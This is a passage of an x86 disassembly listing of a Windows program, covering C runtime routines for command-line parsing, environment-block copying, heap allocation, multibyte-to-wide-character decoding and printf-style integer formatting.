loc_44ADFF ; --------------------------------------------------------------------------- loc_44ADF7: ; CODE XREF: sub_44AD5B+97j test ecx, ecx jz short loc_44ADFF mov byte ptr [ecx-1], 0 loc_44ADFF: ; CODE XREF: sub_44AD5B+67j ; sub_44AD5B+6Aj ... mov [ebp+var_8], 0 loc_44AE06: ; CODE XREF: sub_44AD5B+181j cmp byte ptr [ebx], 0 jz short loc_44AE18 jmp short loc_44AE0E ; --------------------------------------------------------------------------- loc_44AE0D: ; CODE XREF: sub_44AD5B+B7j ; sub_44AD5B+BBj inc ebx loc_44AE0E: ; CODE XREF: sub_44AD5B+B0j mov al, [ebx] cmp al, 20h jz short loc_44AE0D cmp al, 9 jz short loc_44AE0D loc_44AE18: ; CODE XREF: sub_44AD5B+AEj cmp byte ptr [ebx], 0 jz loc_44AEE1 cmp [ebp+arg_4], 0 jz short loc_44AE32 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov [eax], ecx loc_44AE32: ; CODE XREF: sub_44AD5B+CAj mov eax, [ebp+arg_C] inc dword ptr [eax] loc_44AE37: ; CODE XREF: sub_44AD5B+16Dj mov [ebp+var_4], 1 xor edi, edi jmp short loc_44AE44 ; --------------------------------------------------------------------------- loc_44AE42: ; CODE XREF: sub_44AD5B+ECj inc ebx inc edi loc_44AE44: ; CODE XREF: sub_44AD5B+E5j cmp byte ptr [ebx], 5Ch jz short loc_44AE42 cmp byte ptr [ebx], 22h jnz short loc_44AE94 test edi, 1 jnz short loc_44AE81 cmp [ebp+var_8], 0 jz short loc_44AE6E cmp byte ptr [ebx+1], 22h jnz short loc_44AE65 inc ebx jmp short loc_44AE75 ; --------------------------------------------------------------------------- loc_44AE65: ; CODE XREF: sub_44AD5B+105j mov [ebp+var_4], 0 jmp short loc_44AE75 ; --------------------------------------------------------------------------- loc_44AE6E: ; CODE XREF: sub_44AD5B+FFj mov [ebp+var_4], 0 loc_44AE75: ; CODE XREF: sub_44AD5B+108j ; sub_44AD5B+111j xor eax, eax cmp [ebp+var_8], 0 setz al mov [ebp+var_8], eax loc_44AE81: ; CODE XREF: sub_44AD5B+F9j shr edi, 1 jmp short loc_44AE94 ; --------------------------------------------------------------------------- loc_44AE85: ; CODE XREF: sub_44AD5B+13Ej test ecx, ecx jz short loc_44AE8F mov eax, ecx inc ecx mov byte ptr [eax], 5Ch loc_44AE8F: ; CODE XREF: sub_44AD5B+12Cj mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44AE94: ; CODE XREF: sub_44AD5B+F1j ; sub_44AD5B+128j mov eax, edi dec edi test eax, eax jnz short loc_44AE85 mov al, [ebx] test al, al jz short loc_44AEAF cmp [ebp+var_8], 0 jnz short loc_44AEB1 cmp al, 20h jz short loc_44AEAF cmp al, 9 jnz short loc_44AEB1 loc_44AEAF: ; CODE XREF: sub_44AD5B+144j ; sub_44AD5B+14Ej jmp short loc_44AECD ; --------------------------------------------------------------------------- loc_44AEB1: ; CODE XREF: sub_44AD5B+14Aj ; sub_44AD5B+152j cmp [ebp+var_4], 0 jz short loc_44AEC7 test ecx, ecx jz short loc_44AEC2 mov eax, ecx inc ecx mov dl, [ebx] mov [eax], dl loc_44AEC2: ; CODE XREF: sub_44AD5B+15Ej mov eax, [ebp+arg_10] inc dword ptr [eax] loc_44AEC7: ; CODE XREF: sub_44AD5B+15Aj inc ebx jmp loc_44AE37 ; --------------------------------------------------------------------------- loc_44AECD: ; CODE XREF: sub_44AD5B:loc_44AEAFj test ecx, ecx jz short loc_44AED7 mov eax, ecx inc ecx mov byte ptr [eax], 0 loc_44AED7: ; CODE XREF: sub_44AD5B+174j mov eax, [ebp+arg_10] inc dword ptr [eax] jmp loc_44AE06 ; --------------------------------------------------------------------------- loc_44AEE1: ; CODE XREF: sub_44AD5B+C0j cmp [ebp+arg_4], 0 jz short loc_44AEF6 mov eax, [ebp+arg_4] lea edx, [eax+4] mov [ebp+arg_4], edx mov dword ptr [eax], 0 loc_44AEF6: ; CODE XREF: sub_44AD5B+18Aj mov eax, [ebp+arg_C] inc dword ptr [eax] pop edi pop ebx mov esp, ebp pop ebp retn sub_44AD5B endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44AF0B proc near ; CODE XREF: DMN1:00449304p var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi call dword_411D94 ; GetCommandLineA mov esi, eax cmp byte ptr [esi], 0 jnz short loc_44AF3D push 104h lea eax, [ebp+var_10C] push eax push 0 call dword_411CE0 ; GetModuleFileNameA lea esi, [ebp+var_10C] loc_44AF3D: ; CODE XREF: sub_44AF0B+16j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0 push esi call sub_44AD5B add esp, 14h mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [edx+eax*4] push eax call sub_44999B pop ecx mov ebx, eax test ebx, ebx jnz short loc_44AF70 push 1 call sub_44A98B pop ecx loc_44AF70: ; CODE XREF: sub_44AF0B+5Bj lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [ebx+eax*4] push eax push ebx push esi call sub_44AD5B add esp, 14h mov eax, [ebp+var_4] dec eax mov dword_4117C8, eax mov dword_4117CC, ebx pop esi pop ebx mov esp, ebp pop ebp retn sub_44AF0B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44AFAB proc near ; CODE XREF: DMN1:00449309p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi call dword_411DFC ; GetEnvironmentStrings mov [ebp+var_8], eax test eax, eax jnz short loc_44AFC9 mov eax, off_411898 mov [ebp+var_8], eax loc_44AFC9: ; CODE XREF: sub_44AFAB+14j mov [ebp+var_4], 0 mov ebx, [ebp+var_8] jmp short loc_44AFEE ; --------------------------------------------------------------------------- loc_44AFD5: ; CODE XREF: sub_44AFAB+46j mov edx, ebx or eax, 0FFFFFFFFh loc_44AFDA: ; CODE XREF: sub_44AFAB+34j inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44AFDA lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_44AFEC add [ebp+var_4], esi loc_44AFEC: ; CODE XREF: sub_44AFAB+3Cj add ebx, esi loc_44AFEE: ; CODE XREF: sub_44AFAB+28j cmp byte ptr [ebx], 0 jnz short loc_44AFD5 mov eax, [ebp+var_4] inc eax push eax call sub_44999B pop ecx mov edi, eax mov dword_4117D4, eax cmp dword_4117D4, 0 jnz short loc_44B016 push 1 call sub_44A98B pop ecx loc_44B016: ; CODE XREF: sub_44AFAB+61j mov ebx, [ebp+var_8] jmp short loc_44B045 ; --------------------------------------------------------------------------- loc_44B01B: ; CODE XREF: sub_44AFAB+9Dj mov edx, ebx or eax, 0FFFFFFFFh loc_44B020: ; CODE XREF: sub_44AFAB+7Aj inc eax cmp byte ptr [edx+eax], 0 jnz short loc_44B020 lea esi, [eax+1] cmp byte ptr [ebx], 3Dh jz short loc_44B043 mov ecx, edi mov edx, ebx push ecx sub ecx, edx loc_44B036: ; CODE XREF: sub_44AFAB+93j mov al, [edx] mov [ecx+edx], al inc edx test al, al jnz short loc_44B036 pop eax add edi, esi loc_44B043: ; CODE XREF: sub_44AFAB+82j add ebx, esi loc_44B045: ; CODE XREF: sub_44AFAB+6Ej cmp byte ptr [ebx], 0 jnz short loc_44B01B mov byte ptr [edi], 0 mov eax, off_411898 cmp eax, [ebp+var_8] jz short loc_44B061 mov eax, [ebp+var_8] push eax call dword_411E00 ; FreeEnvironmentStringsA loc_44B061: ; CODE XREF: sub_44AFAB+AAj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44AFAB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= sub_44B06B proc near ; CODE XREF: DMN1:0044933Ep push ebx call dword_411D94 ; GetCommandLineA mov ebx, eax cmp byte ptr [ebx], 22h jnz short loc_44B08F loc_44B079: ; CODE XREF: sub_44B06B+19j inc ebx mov eax, ebx cmp byte ptr [eax], 22h jz short loc_44B086 cmp byte ptr [ebx], 0 jnz short loc_44B079 loc_44B086: ; CODE XREF: sub_44B06B+14j cmp byte ptr [ebx], 22h jnz short loc_44B097 inc ebx jmp short loc_44B097 ; --------------------------------------------------------------------------- loc_44B08E: ; CODE XREF: sub_44B06B+27j inc ebx loc_44B08F: ; CODE XREF: sub_44B06B+Cj cmp byte ptr [ebx], 20h ja short loc_44B08E jmp short loc_44B097 ; --------------------------------------------------------------------------- loc_44B096: ; CODE XREF: sub_44B06B+34j inc ebx loc_44B097: ; CODE XREF: sub_44B06B+1Ej ; sub_44B06B+21j ... mov al, [ebx] test al, al jz short loc_44B0A1 cmp al, 20h jbe short loc_44B096 loc_44B0A1: ; CODE XREF: sub_44B06B+30j mov eax, ebx pop ebx retn sub_44B06B endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B0AB proc near ; CODE XREF: sub_4493CB+21p var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_4117DC, 0 jnz short loc_44B0DE push 1 push 2000h mov eax, dword_4117E0 push eax push 0 call dword_411E04 ; VirtualAlloc mov dword_4117DC, eax test eax, eax jz short loc_44B141 loc_44B0DE: ; CODE XREF: sub_44B0AB+13j push 1Ch lea eax, [ebp+var_1C] push eax mov eax, dword_4117DC push eax call dword_411E08 ; VirtualQuery test eax, eax jz short loc_44B141 cmp [ebp+var_C], 1000h jnz short loc_44B10B mov eax, [ebp+var_10] mov edx, dword_4117DC lea edi, [edx+eax] jmp short loc_44B111 ; --------------------------------------------------------------------------- loc_44B10B: ; CODE XREF: sub_44B0AB+50j mov edi, dword_4117DC loc_44B111: ; CODE XREF: sub_44B0AB+5Ej mov esi, edi lea eax, [esi+ebx] mov edx, dword_4117E0 mov ecx, dword_4117DC add edx, ecx cmp eax, edx jb short loc_44B12C xor eax, eax jmp short loc_44B141 ; --------------------------------------------------------------------------- loc_44B12C: ; CODE XREF: sub_44B0AB+7Bj push 4 push 1000h push ebx push esi call dword_411E04 ; VirtualAlloc test eax, eax jz short loc_44B141 mov eax, esi loc_44B141: ; CODE XREF: sub_44B0AB+31j ; sub_44B0AB+47j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44B0AB endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B14B proc near ; CODE XREF: sub_449FDB+44p var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h push ebx mov eax, [ebp+arg_C] movzx eax, word ptr [eax+6] mov [ebp+var_3], al mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_C] mov eax, [eax] mov [ebp+var_2], ax cmp off_411928, 0 jnz loc_44B2C6 cmp [ebp+arg_4], 0 jnz short loc_44B199 mov eax, [ebp+arg_C] mov ecx, dword_40FB60 mov ebx, dword_40FB64 mov [eax], ecx mov [eax+4], ebx xor eax, eax jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B199: ; CODE XREF: sub_44B14B+31j ; sub_44B14B+176j cmp [ebp+arg_8], 0 jnz short loc_44B1BD mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B1BD: ; CODE XREF: sub_44B14B+52j cmp [ebp+var_3], 0 jbe short loc_44B204 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0C0h cmp eax, 80h jz short loc_44B1E8 call sub_449B9B mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B1E8: ; CODE XREF: sub_44B14B+88j movzx eax, [ebp+var_2] shl eax, 6 mov edx, [ebp+var_8] movzx edx, byte ptr [edx] and edx, 3Fh or eax, edx mov [ebp+var_2], ax sub [ebp+var_3], 1 jmp short loc_44B275 ; --------------------------------------------------------------------------- loc_44B204: ; CODE XREF: sub_44B14B+76j mov eax, [ebp+var_8] test byte ptr [eax], 80h jnz short loc_44B218 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov [ebp+var_2], ax jmp short loc_44B275 ; --------------------------------------------------------------------------- loc_44B218: ; CODE XREF: sub_44B14B+BFj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0E0h cmp eax, 0C0h jnz short loc_44B23D mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 1Fh mov [ebp+var_2], ax mov [ebp+var_3], 1 jmp short loc_44B275 ; --------------------------------------------------------------------------- loc_44B23D: ; CODE XREF: sub_44B14B+DDj mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0F0h cmp eax, 0E0h jnz short loc_44B262 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] and eax, 0Fh mov [ebp+var_2], ax mov [ebp+var_3], 2 jmp short loc_44B275 ; --------------------------------------------------------------------------- loc_44B262: ; CODE XREF: sub_44B14B+102j call sub_449B9B mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B275: ; CODE XREF: sub_44B14B+B7j ; sub_44B14B+CBj ... cmp [ebp+var_3], 0 jnz short loc_44B2BB cmp [ebp+arg_0], 0 jz short loc_44B28B mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_44B28B: ; CODE XREF: sub_44B14B+134j mov edx, [ebp+arg_C] mov word ptr [edx+6], 0 cmp [ebp+var_2], 0 jnz short loc_44B2A4 mov [ebp+var_C], 0 jmp short loc_44B2B3 ; --------------------------------------------------------------------------- loc_44B2A4: ; CODE XREF: sub_44B14B+14Ej mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_C], eax loc_44B2B3: ; CODE XREF: sub_44B14B+157j mov eax, [ebp+var_C] jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B2BB: ; CODE XREF: sub_44B14B+12Ej inc [ebp+var_8] dec [ebp+arg_8] jmp loc_44B199 ; --------------------------------------------------------------------------- loc_44B2C6: ; CODE XREF: sub_44B14B+27j mov [ebp+var_C], 0 cmp [ebp+arg_4], 0 jnz short loc_44B2F9 mov eax, [ebp+arg_C] mov ecx, dword_40FB60 mov ebx, dword_40FB64 mov [eax], ecx mov [eax+4], ebx mov eax, off_411928 movzx eax, word ptr [eax] and eax, 0F00h jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B2F9: ; CODE XREF: sub_44B14B+186j ; sub_44B14B+292j cmp [ebp+arg_8], 0 jnz short loc_44B31D mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax mov eax, 0FFFFFFFEh jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B31D: ; CODE XREF: sub_44B14B+1B2j mov al, [ebp+var_3] cmp al, 10h jnb short loc_44B359 movzx eax, al mov eax, off_411928[eax*4] mov [ebp+var_14], eax test eax, eax jz short loc_44B359 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp eax, 0FF0h jge short loc_44B359 mov eax, [ebp+var_8] movzx eax, byte ptr [eax] mov edx, [ebp+var_14] mov ax, [edx+eax*2] mov [ebp+var_E], ax test ax, ax jnz short loc_44B36C loc_44B359: ; CODE XREF: sub_44B14B+1D7j ; sub_44B14B+1E8j ... call sub_449B9B mov dword ptr [eax], 2Ah or eax, 0FFFFFFFFh jmp loc_44B425 ; --------------------------------------------------------------------------- loc_44B36C: ; CODE XREF: sub_44B14B+20Cj movzx eax, [ebp+var_E] mov edx, eax and edx, 0F00h sar edx, 8 mov [ebp+var_3], dl test eax, 8000h jz short loc_44B398 movzx eax, [ebp+var_2] and eax, 0FFFFFF00h movzx edx, byte ptr [ebp+var_E] or eax, edx mov [ebp+var_2], ax loc_44B398: ; CODE XREF: sub_44B14B+238j test [ebp+var_E], 1000h jz short loc_44B3BA movzx eax, [ebp+var_2] mov edx, eax shl edx, 8 sar eax, 8 and eax, 0FFh or edx, eax mov ax, dx mov [ebp+var_2], ax loc_44B3BA: ; CODE XREF: sub_44B14B+253j test [ebp+var_E], 4000h jz short loc_44B3D7 mov eax, [ebp+var_8] cmp byte ptr [eax], 0 jz short loc_44B3D7 inc [ebp+var_8] dec [ebp+arg_8] mov [ebp+var_C], 0 loc_44B3D7: ; CODE XREF: sub_44B14B+275j ; sub_44B14B+27Dj test [ebp+var_E], 2000h jz loc_44B2F9 cmp [ebp+arg_0], 0 jz short loc_44B3F3 mov edx, [ebp+arg_0] mov ax, [ebp+var_2] mov [edx], ax loc_44B3F3: ; CODE XREF: sub_44B14B+29Cj mov edx, [ebp+arg_C] movzx eax, [ebp+var_2] mov [edx], eax mov edx, [ebp+arg_C] movzx eax, [ebp+var_3] mov [edx+6], ax cmp [ebp+var_2], 0 jnz short loc_44B417 mov [ebp+var_18], 0 jmp short loc_44B422 ; --------------------------------------------------------------------------- loc_44B417: ; CODE XREF: sub_44B14B+2C1j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov [ebp+var_18], eax loc_44B422: ; CODE XREF: sub_44B14B+2CAj mov eax, [ebp+var_18] loc_44B425: ; CODE XREF: sub_44B14B+49j ; sub_44B14B+6Dj ... pop ebx mov esp, ebp pop ebp retn sub_44B14B endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B42B proc near ; CODE XREF: sub_449FDB+243p var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = qword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 38h push ebx movzx eax, [ebp+arg_8] mov [ebp+var_4], eax cmp eax, 41h jl short loc_44B44A cmp eax, 47h jg short loc_44B459 jmp dword_40FC68[eax*4] ; --------------------------------------------------------------------------- loc_44B44A: ; CODE XREF: sub_44B42B+11j cmp [ebp+var_4], 25h jz loc_44BB1D jmp loc_44BB32 ; --------------------------------------------------------------------------- loc_44B459: ; CODE XREF: sub_44B42B+16j mov eax, [ebp+var_4] cmp eax, 58h jz loc_44B68E jl loc_44BB32 mov eax, [ebp+var_4] cmp eax, 61h jl loc_44BB32 cmp eax, 78h jg loc_44BB32 jmp dword_40FC04[eax*4] ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jz short loc_44B4B4 mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_4] mov ecx, [eax] add ecx, 4 mov [eax], ecx mov eax, [ebp+arg_C] mov ecx, [ecx-4] mov [eax+edx], cl jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B4B4: ; CODE XREF: sub_44B42B+63j mov eax, [ebp+arg_4] mov edx, [eax] add edx, 4 mov [eax], edx mov eax, [edx-4] mov [ebp+var_6], ax mov [ebp+var_A], ax mov [ebp+var_8], 0 mov edx, [ebp+arg_0] or dword ptr [edx+2Ch], 0FFFFFFFFh lea eax, [ebp+var_A] push eax mov eax, [ebp+arg_0] push eax call sub_44C6AB add esp, 8 test eax, eax jge loc_44BB5D or eax, 0FFFFFFFFh jmp loc_44BB5F ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_44B51B mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44B58F ; --------------------------------------------------------------------------- loc_44B51B: ; CODE XREF: sub_44B42B+D2j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_44B53C mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44B583 ; --------------------------------------------------------------------------- loc_44B53C: ; CODE XREF: sub_44B42B+F7j mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_44B55D mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx jmp short loc_44B577 ; --------------------------------------------------------------------------- loc_44B55D: ; CODE XREF: sub_44B42B+118j mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44B577: ; CODE XREF: sub_44B42B+130j mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44B583: ; CODE XREF: sub_44B42B+10Fj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [ebp+var_10], ecx mov [ebp-0Ch], ebx loc_44B58F: ; CODE XREF: sub_44B42B+EEj mov ecx, [ebp+var_10] mov ebx, [ebp-0Ch] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_44B5BF mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dx, cx movsx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44B605 ; --------------------------------------------------------------------------- loc_44B5BF: ; CODE XREF: sub_44B42B+176j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_44B5E3 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov dl, cl movsx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44B605 ; --------------------------------------------------------------------------- loc_44B5E3: ; CODE XREF: sub_44B42B+19Bj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_44B5F1 cmp al, 7Ah jnz short loc_44B605 loc_44B5F1: ; CODE XREF: sub_44B42B+1C0j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx loc_44B605: ; CODE XREF: sub_44B42B+192j ; sub_44B42B+1B6j ... mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_44B62C jl short loc_44B617 test eax, eax jnb short loc_44B62C loc_44B617: ; CODE XREF: sub_44B42B+1E6j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Dh jmp short loc_44B66A ; --------------------------------------------------------------------------- loc_44B62C: ; CODE XREF: sub_44B42B+1E4j ; sub_44B42B+1EAj mov eax, [ebp+arg_0] test word ptr [eax+38h], 2 jz short loc_44B64C mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 2Bh jmp short loc_44B66A ; --------------------------------------------------------------------------- loc_44B64C: ; CODE XREF: sub_44B42B+20Aj mov eax, [ebp+arg_0] test word ptr [eax+38h], 1 jz short loc_44B66A mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 20h loc_44B66A: ; CODE XREF: sub_44B42B+1FFj ; sub_44B42B+21Fj ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44C7FB add esp, 8 jmp loc_44BB5D ; --------------------------------------------------------------------------- loc_44B68E: ; CODE XREF: sub_44B42B+34j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 6Ch jnz short loc_44B6B0 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44B721 ; --------------------------------------------------------------------------- loc_44B6B0: ; CODE XREF: sub_44B42B+26Aj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 71h jnz short loc_44B6D1 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44B715 ; --------------------------------------------------------------------------- loc_44B6D1: ; CODE XREF: sub_44B42B+28Cj mov edx, [ebp+arg_0] cmp byte ptr [edx+3Ah], 6Ah jnz short loc_44B6F2 mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 8 mov [edx], ecx mov ebx, [ecx-4] mov ecx, [ecx-8] mov [ebp+var_18], ecx mov [ebp+var_14], ebx jmp short loc_44B709 ; --------------------------------------------------------------------------- loc_44B6F2: ; CODE XREF: sub_44B42B+2ADj mov edx, [ebp+arg_4] mov ecx, [edx] add ecx, 4 mov [edx], ecx mov edx, [ecx-4] mov ecx, edx xor ebx, ebx mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44B709: ; CODE XREF: sub_44B42B+2C5j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44B715: ; CODE XREF: sub_44B42B+2A4j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [ebp+var_18], ecx mov [ebp+var_14], ebx loc_44B721: ; CODE XREF: sub_44B42B+283j mov ecx, [ebp+var_18] mov ebx, [ebp+var_14] mov [eax], ecx mov [eax+4], ebx mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 68h jnz short loc_44B750 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dx mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44B793 ; --------------------------------------------------------------------------- loc_44B750: ; CODE XREF: sub_44B42B+308j mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 62h jnz short loc_44B774 mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx movzx edx, dl mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov [eax], ecx mov [eax+4], ebx jmp short loc_44B793 ; --------------------------------------------------------------------------- loc_44B774: ; CODE XREF: sub_44B42B+32Cj mov eax, [ebp+arg_0] mov al, [eax+3Ah] cmp al, 74h jz short loc_44B782 cmp al, 7Ah jnz short loc_44B793 loc_44B782: ; CODE XREF: sub_44B42B+351j mov eax, [ebp+arg_0] mov ecx, [eax] mov ebx, [eax+4] mov edx, ecx xor ebx, ebx mov [eax], ecx mov [eax+4], ebx loc_44B793: ; CODE XREF: sub_44B42B+323j ; sub_44B42B+347j ... mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_44B7DE mov edx, [eax+4] mov eax, [eax] test edx, edx jnz short loc_44B7AB test eax, eax jz short loc_44B7DE loc_44B7AB: ; CODE XREF: sub_44B42B+37Aj mov al, [ebp+arg_8] cmp al, 78h jz short loc_44B7B6 cmp al, 58h jnz short loc_44B7DE loc_44B7B6: ; CODE XREF: sub_44B42B+385j mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+14h] lea ecx, [edx+1] mov [eax+14h], ecx mov eax, [ebp+arg_C] mov cl, [ebp+arg_8] mov [eax+edx], cl loc_44B7DE: ; CODE XREF: sub_44B42B+371j ; sub_44B42B+37Ej ... mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [ebp+arg_C] add edx, ecx mov [eax+10h], edx movzx eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] push eax call sub_44C7FB add esp, 8 jmp loc_44BB5D ; --------------------------------------------------------------------------- mov eax, [ebp+arg_0] cmp byte ptr [eax+3Ah], 4Ch jnz short loc_44B81D mov edx, 